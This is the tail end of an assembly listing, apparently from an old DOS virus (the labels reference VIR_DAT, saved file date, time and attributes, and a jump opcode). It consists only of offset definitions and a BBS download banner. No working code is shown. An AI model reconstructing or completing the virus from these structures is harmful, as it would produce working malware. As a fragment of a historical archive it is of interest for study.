OLD_DTS =       OLDDTS_ - VIR_DAT
OLD_TIM =       OLDTIM_ - VIR_DAT
OL_DATE =       OLDATE_ - VIR_DAT
OLD_ATT =       OLDATT_ - VIR_DAT
FIRST_3 =       FIRST3_ - VIR_DAT
JMP_OP  =       JMPOP_  - VIR_DAT
JMP_DSP =       JMPDSP_ - VIR_DAT
F_SPEC  =       FSPEC_  - VIR_DAT
PATH_AD =       PATHAD_ - VIR_DAT
NAM_PTR =       NAMPTR_ - VIR_DAT
ENV_STR =       ENVSTR_ - VIR_DAT
WRK_SPC =       WRKSPC_ - VIR_DAT
DTA     =       DTA_    - VIR_DAT
DTA_TIM =       DTATIM_ - VIR_DAT
DTA_LEN =       DTALEN_ - VIR_DAT
DTA_NAM =       DTANAM_ - VIR_DAT
COUNT       =       COUNT_  - VIR_DAT

       code    ends
end     vcode

---------
----------------------------------------------------------
                                                                       hr

Downloaded From P-80 International Information Systems 304-744-2253